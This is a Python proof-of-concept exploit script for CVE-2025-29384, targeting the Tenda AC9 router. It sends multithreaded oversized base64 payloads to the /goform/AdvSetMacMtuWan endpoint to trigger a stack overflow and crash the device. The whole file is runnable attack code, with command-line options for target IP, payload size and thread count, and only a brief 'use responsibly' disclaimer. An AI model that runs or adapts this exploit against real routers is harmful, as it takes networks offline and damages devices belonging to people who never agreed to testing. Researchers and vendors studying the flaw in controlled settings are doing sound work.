import requests
import threading
import logging
import argparse
import base64
import random
import time
from concurrent.futures import ThreadPoolExecutor
from typing import Optional, Tuple

logging.basicConfig(
    level=logging.INFO,
    format="%(asctime)s [%(levelname)s] %(message)s",
    handlers=[logging.StreamHandler()]
)
logger = logging.getLogger(__name__)

TARGET_ENDPOINT = "/goform/AdvSetMacMtuWan"
DEFAULT_IP = "192.168.0.1"
HEADERS = {
    "Content-Type": "application/x-www-form-urlencoded",
    "User-Agent": "Mozilla/5.0 (X11; Linux x86_64; rv:91.0) Gecko/20100101 Firefox/91.0",
    "Accept": "*/*"
}

class ExploitEngine:
    def __init__(self, target_ip: str, payload_size: int = 1024, threads: int = 5):
        self.target_url = f"http://{target_ip}{TARGET_ENDPOINT}"
        self.payload_size = payload_size
        self.threads = threads
        self.session = requests.Session()
        self.lock = threading.Lock()

    def _generate_payload(self) -> str:
        """Generate a randomized, encoded payload for obfuscation."""
        base_string = ''.join(random.choices("ABCDEFGHIJKLMNOPQRSTUVWXYZ", k=self.payload_size))
        encoded = base64.b64encode(base_string.encode()).decode()
        return f"wanMTU={encoded[:self.payload_size]}"  # Truncate to desired length

    def _send_exploit(self, attempt: int) -> Tuple[bool, Optional[str]]:
        """Send the exploit payload and handle response."""
        payload = self._generate_payload()
        try:
            logger.debug(f"Attempt {attempt}: Sending payload of size {len(payload)}")
            response = self.session.post(
                self.target_url,
                headers=HEADERS,
                data=payload,
                timeout=5,
                verify=False
            )
            return True, f"Status: {response.status_code}, Content: {response.text[:50]}..."
        except requests.exceptions.Timeout:
            return False, "Timeout - Target likely crashed!"
        except requests.exceptions.RequestException as e:
            return False, f"Exploit failed: {str(e)}"

    def _exploit_worker(self, attempt: int) -> None:
        """Threaded worker for exploit attempts."""
        success, result = self._send_exploit(attempt)
        with self.lock:
            if success:
                logger.info(f"Thread {attempt}: {result}")
            else:
                logger.warning(f"Thread {attempt}: {result}")

    def run(self) -> None:
        """Execute the exploit with multiple threads."""
        logger.info(f"Targeting Tenda AC9 at {self.target_url}")
        logger.info(f"Deploying {self.threads} threads with payload size {self.payload_size}")

        with ThreadPoolExecutor(max_workers=self.threads) as executor:
            futures = [
                executor.submit(self._exploit_worker, i)
                for i in range(1, self.threads + 1)
            ]
            for future in futures:
                future.result()  # Wait for all threads to complete

        logger.info("Exploit sequence completed. Check target status.")

def parse_args() -> argparse.Namespace:
    """Parse command-line arguments for customization."""
    parser = argparse.ArgumentParser(
        description="CVE-2025-29384 PoC - Tenda AC9 Stack Overflow Exploit",
        epilog="Use responsibly in controlled environments only!"
    )
    parser.add_argument(
        "--target",
        type=str,
        default=DEFAULT_IP,
        help="Target IP address of the Tenda AC9 router"
    )
    parser.add_argument(
        "--size",
        type=int,
        default=1024,
        help="Size of the payload to trigger overflow"
    )
    parser.add_argument(
        "--threads",
        type=int,
        default=5,
        help="Number of concurrent threads"
    )
    return parser.parse_args()

def main():
    """Main execution logic."""
    args = parse_args()
    print("[*] CVE-2025-29384 Exploit Engine - Advanced Edition")
    print(f"[*] Config: IP={args.target}, Payload Size={args.size}, Threads={args.threads}")

    engine = ExploitEngine(target_ip=args.target, payload_size=args.size, threads=args.threads)
    
    logger.info("Initializing exploit engine...")
    time.sleep(1)  
    engine.run()

if __name__ == "__main__":
    try:
        main()
    except KeyboardInterrupt:
        logger.error("Exploit interrupted by user.")
    except Exception as e:
        logger.critical(f"Unexpected error: {e}")